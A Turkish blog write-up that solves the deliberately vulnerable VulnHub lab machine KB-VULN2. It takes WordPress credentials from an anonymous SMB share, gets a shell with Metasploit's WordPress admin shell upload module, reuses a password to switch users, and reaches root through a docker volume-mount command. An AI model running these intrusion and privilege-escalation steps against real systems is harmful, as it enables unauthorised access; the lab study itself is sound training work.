KB-VULN2

 

KB-VULN2 Makine Çözümü

Kernelbloğun ikinci makinesini çözelim. Makineyi vulnhubdan indirin ve virtualbox’a kurun. Makinenin ip adresini bulduktan sonra (nmap <ip>/24 -T5 -sS) işlemlere başlayalım.

Bilgi Toplama

Bilgi toplamak için nmap aracını kullanalım.

$ nmap 192.168.56.103 -T5 -A
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-25 19:35 +03
Nmap scan report for 192.168.56.103
Host is up (0.00075s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 5e:99:01:23:fe:c4:84:ef:14:55:87:da:a3:30:6f:50 (RSA)
|   256 cb:8e:e1:b3:3a:6e:64:9e:0f:53:39:7e:18:9d:8b:3f (ECDSA)
|_  256 ec:3b:d9:53:4a:5a:f7:32:f2:3a:f7:a7:6f:31:87:52 (ED25519)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
MAC Address: 08:00:27:9F:53:BF (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 2.6.32 (96%), Linux 3.2 - 4.9 (96%), Linux 2.6.32 - 3.10 (96%), Linux 3.4 - 3.10 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Synology DiskStation Manager 5.2-5644 (94%), Netgear RAIDiator 4.2.28 (94%), Linux 2.6.32 - 2.6.35 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: UBUNTU; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: UBUNTU, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: kb-server
|   NetBIOS computer name: UBUNTU\x00
|   Domain name: \x00
|   FQDN: kb-server
|_  System time: 2020-09-25T16:36:29+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-09-25T16:36:29
|_  start_date: N/A

TRACEROUTE
HOP RTT     ADDRESS
1   0.75 ms 192.168.56.103

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.73 seconds

Http, smb, ssh, ftp bir dolu açık servis var, sırayla başlayalım.

HTTP – WordPress ve Apache

Makinenin http servisine bağlandığımızda bizi apachenin info sayfası karşılıyor.


Sitedeki diğer dosya ve klasörleri de bulmak için dirb aracını kullanalım.

$ dirb http://192.168.56.103
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Sep 25 20:14:30 2020
URL_BASE: http://192.168.56.103/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.56.103/ ----
+ http://192.168.56.103/index.html (CODE:200|SIZE:10918)                                                                                                                                                                       
+ http://192.168.56.103/server-status (CODE:403|SIZE:279)                                                                                                                                                                      
==> DIRECTORY: http://192.168.56.103/wordpress/                                                                                                                                                                                
                                                                                                                                                                                                                               
---- Entering directory: http://192.168.56.103/wordpress/ ----
+ http://192.168.56.103/wordpress/index.php (CODE:301|SIZE:0)                                                                                                                                                                  
==> DIRECTORY: http://192.168.56.103/wordpress/uploads/                                                                                                                                                                        
==> DIRECTORY: http://192.168.56.103/wordpress/wp-admin/                                                                                                                                                                       
==> DIRECTORY: http://192.168.56.103/wordpress/wp-content/                                                                                                                                                                     
==> DIRECTORY: http://192.168.56.103/wordpress/wp-includes/                                                                                                                                                                    
+ http://192.168.56.103/wordpress/xmlrpc.php (CODE:405|SIZE:42)                                                                                                                                                                
                                                                                                                                                                                                                               
---- Entering directory: http://192.168.56.103/wordpress/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                                               
---- Entering directory: http://192.168.56.103/wordpress/wp-admin/ ----
+ http://192.168.56.103/wordpress/wp-admin/admin.php (CODE:302|SIZE:0)                                                                                                                                                         
==> DIRECTORY: http://192.168.56.103/wordpress/wp-admin/css/                                                                                                                                                                   
==> DIRECTORY: http://192.168.56.103/wordpress/wp-admin/images/                                                                                                                                                                
==> DIRECTORY: http://192.168.56.103/wordpress/wp-admin/includes/                                                                                                                                                              
+ http://192.168.56.103/wordpress/wp-admin/index.php (CODE:302|SIZE:0)                                                                                                                                                         
==> DIRECTORY: http://192.168.56.103/wordpress/wp-admin/js/                                                                                                                                                                    
==> DIRECTORY: http://192.168.56.103/wordpress/wp-admin/maint/                                                                                                                                                                 
==> DIRECTORY: http://192.168.56.103/wordpress/wp-admin/network/                                                                                                                                                               
==> DIRECTORY: http://192.168.56.103/wordpress/wp-admin/user/                                                                                                                                                                  
                                                                                                                                                                                                                               
---- Entering directory: http://192.168.56.103/wordpress/wp-content/ ---- 
+ http://192.168.56.103/wordpress/wp-content/index.php (CODE:200|SIZE:0)                                                                                                                                                       
==> DIRECTORY: http://192.168.56.103/wordpress/wp-content/plugins/                                                                                                                                                             
==> DIRECTORY: http://192.168.56.103/wordpress/wp-content/themes/                                                                                                                                                              
==> DIRECTORY: http://192.168.56.103/wordpress/wp-content/upgrade/                                                                                                                                                             
==> DIRECTORY: http://192.168.56.103/wordpress/wp-content/uploads/                                                                                                                                                             
                                                                                                                                                                                                                               
---- Entering directory: http://192.168.56.103/wordpress/wp-includes/ ----               
(!) WARNING: Directory IS LISTABLE. No need to scan it.                                  
    (Use mode '-w' if you want to scan it anyway)                                        
                                                                                                                                                                                                                               
---- Entering directory: http://192.168.56.103/wordpress/wp-admin/css/ ----                        
(!) WARNING: Directory IS LISTABLE. No need to scan it.                                            
    (Use mode '-w' if you want to scan it anyway)                                                  
                                                                                                                                                                                                                               
---- Entering directory: http://192.168.56.103/wordpress/wp-admin/images/ ----                                  
(!) WARNING: Directory IS LISTABLE. No need to scan it.                                                         
    (Use mode '-w' if you want to scan it anyway)                                                               
                                                                                                                                                                                                                               
---- Entering directory: http://192.168.56.103/wordpress/wp-admin/includes/ ----                                
(!) WARNING: Directory IS LISTABLE. No need to scan it.                                                         
    (Use mode '-w' if you want to scan it anyway)                                                               
                                                                                                                                                                                                                               
---- Entering directory: http://192.168.56.103/wordpress/wp-admin/js/ ----                                      
(!) WARNING: Directory IS LISTABLE. No need to scan it.                                                         
    (Use mode '-w' if you want to scan it anyway)                                                                               
                                                                                                                                                                                                                               
---- Entering directory: http://192.168.56.103/wordpress/wp-admin/maint/ ----                                                   
(!) WARNING: Directory IS LISTABLE. No need to scan it.                                                                         
    (Use mode '-w' if you want to scan it anyway)                                                                               
                                                                                                                                                                                                                               
---- Entering directory: http://192.168.56.103/wordpress/wp-admin/network/ ----                                                                      
+ http://192.168.56.103/wordpress/wp-admin/network/admin.php (CODE:302|SIZE:0)                                                                                                                                                 
+ http://192.168.56.103/wordpress/wp-admin/network/index.php (CODE:302|SIZE:0)                                                                                                                                                 
                                                                                                                                                                                                                               
---- Entering directory: http://192.168.56.103/wordpress/wp-admin/user/ ----                                                                         
+ http://192.168.56.103/wordpress/wp-admin/user/admin.php (CODE:302|SIZE:0)                                                                                                                                                    
+ http://192.168.56.103/wordpress/wp-admin/user/index.php (CODE:302|SIZE:0)                                                                                                                                                    
                                                                                                                                                                                                                               
---- Entering directory: http://192.168.56.103/wordpress/wp-content/plugins/ ----                                                                    
+ http://192.168.56.103/wordpress/wp-content/plugins/index.php (CODE:200|SIZE:0)                                                                                                                                               
                                                                                                                                                                                                                               
---- Entering directory: http://192.168.56.103/wordpress/wp-content/themes/ ----                                                                     
+ http://192.168.56.103/wordpress/wp-content/themes/index.php (CODE:200|SIZE:0)                                                                                                                                                
                                                                                                                                                                                                                               
---- Entering directory: http://192.168.56.103/wordpress/wp-content/upgrade/ ----                                                                    
(!) WARNING: Directory IS LISTABLE. No need to scan it.                                                                                              
    (Use mode '-w' if you want to scan it anyway)                                                                                                    
                                                                                                                                                                                                                               
---- Entering directory: http://192.168.56.103/wordpress/wp-content/uploads/ ----                                                                                                  
(!) WARNING: Directory IS LISTABLE. No need to scan it.                                                                                                                            
    (Use mode '-w' if you want to scan it anyway)                                                                                                                                  
                                                                                                                                                                                   
-----------------                                                                                                                                                                  
END_TIME: Fri Sep 25 20:14:46 2020                                                                                                                                                 
DOWNLOADED: 36896 - FOUND: 13

Çıktıya göre sitede bir adet wordpress olduğu görünmektedir. Hemen wordpresse gidelim.


Gelen sayfa wordpressin anasayfası fakat css kodları çalışmıyor gibi görünüyor. Bunun sebebi wordpressin hatalı kurulumu olabilir. Şu an burada hareket etmek fazlasıyla zahmetli olacak, biz smb servisine bir bakalım.

SMB – Anonim Giriş

Smb servisi açık olan makinaya dosya yöneticisinden bir giriş yapmayı deneyelim.

Ağda UBUNTU olarak görünen makine kurbanımız. Makinenin üstüne tıklayıp etkileşime geçelim.


Anonymous içerisinde bir adet backup var. Backup’ı alıp masaüstüne taşıyorum ve içerisine bakıyorum. Zipin içinde bir klasör ve bir adette dosya var. Remember içerisinde büyük ihtimalle wordpresin olan kullanıcı adı ve şifre bulunuyor. Bunları alıp not edelim. WordPress klasörüne de ihtiyacımız yok, kullanmak istesek veritabanı filan kurmamız gerekecek çok uzun iş en iyi biz elimizdekilerle yola devam edelim.

WordPressin yönetici kullanıcı hesabı elimizde olduğu için shell almak biraz daha kolaylaştı. Bundan önceki yazımda da bahsetmiştim, içeri resim formatında zararlı bir kodun gönderilmesiyle shell almıştık burada da aynı yöntemi kullanacağız.

Saldırı – (Inject And Execute)

Metasploiti açalım ve ihtiyacımız olan exploiti arayalım.

$ search wordpress

Çıkan sonuçlardan 45 numaralı olan (exploit/unix/webapp/wp_admin_shell_upload) işimizi görecektir. Seçelim ve gerekli ayarları yapıp işe koyulalım.


Ve oturumumuz geldi, artık içerideyiz şimdi bir tty kabuğu alıp flagi bulalım.

$ python -c 'import pty; pty.spawn("/bin/bash")'

Bu komuttan sonra direkt home dizinine gittim. Kbadmin adında bir kullanıcınun ev dizinine girip içerisini biraz taraşladım. Kbadminin ev dizininden ilk flagi buluyoruz. Sonrasında note.txt içerisini açıp kontrol ediyoruz.

use DOCKER!

Güzel bir tüyo vermişler. Docker neymiş kısaca bir araştırıp işimize bakalım.

Docker, yazılım geliştiriciler ve sistemciler için geliştirilen açık kaynaklı bir sanallaştırma platformudur.

emrealadag.com

Docker İle Yetki Yükseltme (Privilege Escalation)

Docker ile yetki yükseltmek için mediumdan bir kaynak buldum. Bu kaynakta yazan kodları uyguladığımızda root olacağız.

https://medium.com/@Affix/privilege-escallation-with-docker-56dc682a6e17


Yine bu sayfada yer alan dikkat etmemmiz gereken bir husus var. Paylaştığım kaynağın başlarında bahsedilen bir konu, docker kodlarının çalıştırılabilmesi için docker grubuna üye bir kullanıcı olmamız gerekmekte. Şu an kullandığımız profilin docker komutlarını çalıştırmaya yetkisi yok. Sistemde ev dizini olupta erişebileceğimiz tek hesap kbadmin.

Şimdi yapmamız gereken kbadmin hesabina giriş yapıp kullanıcının docker kodlarını çalıştırıp çalıştıramadığını kontrol etmek. Şunu söyleyeyim, kbadmin kullanıcısına erişmek için çeşitli yollar kullanılabilir belki bu kullanıcıya gerek bile kalmadan yetki yükseltilebilir ama akla nadiren gelen bir fikir sayesinde kbadmine giriş yapabilirsiniz.

WordPresse giriş için kullandığımız kullanıcıadı ve şifreyi hatırlayın, kbadmin için bu şifreyi girin ve tamam!

$ su kbadmin
Password: MachineBoy141

Bu kodlardan sonra kbadminsiniz. Şimdi id komutu ile nelerimiz varmış bir görelim.

$ id
uid=1000(kbadmin) gid=1000(kbadmin) groups=1000(kbadmin),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),999(docker)

Evet, kullanıcımız docker grubuna ekliymiş. Şimdi yapmamız gereken zararlı docker kodunu çalıştırıp root olmak ve flagi almak.

Docker kodu:

$ docker run -it -v /:/mnt alpine chroot /mnt

Bitiş – Root Olma ve Flag

Yetki yükseltmek için yaptığımız son işlemler:

www-data@kb-server:$ su kbadmin
su kbadmin
Password: MachineBoy141

shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

sh: 0: getcwd() failed: No such file or directory
kbadmin@kb-server:$ docker run -it -v /:/mnt alpine chroot /mnt
docker run -it -v /:/mnt alpine chroot /mnt
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
df20fa9351a1: Pull complete 
Digest: sha256:185518070891758909c9f839cf4ca393ee977ac378609f700f60a771a2dfe321
Status: Downloaded newer image for alpine:latest
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@daa54f174c79:/# 

Şunu hatırlatayım docker yetki yükseltirken dosya indiriyor bu yüzden internete erişiminiz olmalı.

Makine çözüldü, iyiydi biraz problemli de olsa güzeldi. Kernelbloğa Kb-vuln2 için teşekkür ederek yazımı sonlandırıyorum.

03bf4d... - user flag
dc387b... - admin flag

Makinenin Çözümlü Videosu



Notlar

Makineyi iki kişilik bir ekip olarak çözdük, emeklerinden dolayı Süha Arslan'a teşekkürler.

Yorumlar

Yorum Gönder

Bu blogdaki popüler yayınlar

Maltego Nedir? Nasıl Kullanılır?

Wireshark ile SSH Analizi

Bind Shell ve Reverse Shell Nedir?